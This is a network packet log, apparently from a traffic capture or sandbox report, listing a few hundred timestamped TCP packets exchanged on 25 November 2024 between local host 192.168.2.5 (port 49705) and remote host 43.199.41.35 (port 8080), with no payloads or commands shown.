Nov 25, 2024 11:10:21.186706066 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.186753035 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.187423944 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.187450886 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.187500000 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.212908030 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.213099003 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.213149071 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.213413954 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.213426113 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.213469028 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.213989019 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.214128017 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.214175940 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.214917898 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.215049982 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.215101004 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.215801001 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.216037035 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.216084003 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.216711044 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.216876984 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.216928005 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.217583895 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.217643023 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.217689991 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.218535900 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.218569994 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.218617916 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.219357014 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.219502926 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.219553947 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.220253944 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.220357895 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.220397949 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.221108913 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.240291119 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.240344048 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.240411043 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.240782976 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.240830898 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.240890980 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.241741896 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.241765022 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.241799116 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.242532969 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.242580891 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.242655993 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.243472099 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.243519068 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.243561983 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.244276047 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.244318962 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.244426966 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.245234966 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.245280027 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.245309114 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.246051073 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.246097088 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.246125937 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.246937037 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.246989012 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.247045040 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.247847080 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.247895956 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.247934103 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.248719931 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.248766899 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.248868942 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.249727011 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.249769926 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.249809980 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.250555038 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.250600100 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.250646114 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.251395941 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.251441956 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.251492023 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.252348900 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.252366066 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.252394915 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.253195047 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.253240108 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.253333092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.254113913 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.254127026 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.254157066 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.254944086 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.254988909 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.255017042 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.255794048 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.255840063 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.255928040 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.256870031 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.256915092 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.257016897 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.257746935 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.257793903 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.257944107 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.258735895 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.258786917 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.258814096 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.259519100 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.259566069 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.259660959 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.260407925 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.260452032 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.260591030 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.261349916 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.261398077 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.261445999 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.262111902 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.262126923 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.262156963 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.262928009 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.262974977 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.263006926 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.263770103 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.263813972 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.263866901 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.264800072 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.264827967 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.264841080 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.265595913 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.265640020 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.265659094 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.266441107 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.266494036 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.266541958 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.267338037 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.267385960 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.267427921 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.268243074 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.268284082 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.268325090 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.269125938 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.269210100 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.269258976 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.270006895 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.270052910 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.270106077 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.270901918 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.270941973 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.271054983 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.271819115 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.271862984 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.374645948 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.374666929 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.374730110 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.375009060 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.375099897 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.375149012 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.375816107 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.375905991 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.375946999 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.376728058 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.376761913 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.376802921 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.377633095 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.377753973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.377897024 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.378504992 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.378568888 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.378613949 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.379367113 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.379420996 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.379468918 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.380165100 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.405294895 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.405344963 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.405469894 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.405666113 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.405703068 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.405747890 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.406631947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.406685114 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.406722069 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.407437086 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.407481909 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.407545090 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.408348083 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.408394098 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.408458948 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.409244061 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.409285069 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.409331083 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.410109997 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.410145998 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.410187006 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.411004066 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.411046982 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.411108971 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.411890030 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.411935091 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.411979914 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.412782907 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.412795067 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.412820101 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.432322025 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.432373047 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.432475090 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.432729959 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.432770014 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.433049917 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.433602095 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.433651924 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.433917999 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.434052944 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.434098959 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.434794903 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.434897900 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.434940100 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.435676098 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.435810089 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.435853004 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.436611891 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.436789989 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.436868906 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.437495947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.437686920 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.437731981 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.438360929 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.438489914 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.438560009 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.439294100 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.439346075 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.439448118 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.440135956 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.440331936 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.440372944 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.441112995 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.441205025 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.441242933 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.441903114 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.441987991 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.442033052 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.442778111 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.442895889 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.442933083 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.443650961 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.443798065 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.443840981 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.444603920 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.444674969 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.444711924 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.445441008 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.445566893 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.445605040 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.446367979 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.446487904 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.446542025 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.447201014 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.447267056 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.447310925 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.448075056 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.448240042 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.448276043 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.448999882 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.449111938 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.449156046 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.450000048 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.450026989 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.450062990 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.450781107 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.450875998 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.450912952 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.451677084 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.451761007 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.451803923 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.452523947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.452629089 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.452666998 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.453478098 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.453509092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.453547001 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.454333067 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.454483986 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.454526901 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.455189943 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.455322027 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.455367088 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.456072092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.456154108 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.456197977 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.456989050 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.457125902 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.457168102 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.457837105 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.457966089 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.458009958 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.458758116 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.458872080 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.458915949 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.459638119 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.459748030 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.459794044 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.460503101 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.460612059 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.460649967 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.461393118 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.461513996 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.461554050 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.462331057 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.462469101 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.462507963 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.463212013 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.463274956 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.463368893 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.464042902 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.511003971 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.566898108 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.566972971 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.567076921 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.567322016 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.567367077 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.567413092 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.568295956 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.568327904 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.568492889 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.569161892 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.569252014 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.569360971 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.569981098 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.570072889 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.570121050 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.570940018 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.570992947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.571038961 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.571737051 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.571903944 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.571945906 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.597436905 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.597585917 CET	8080	49705	43.199.41.35	192.168.2.5
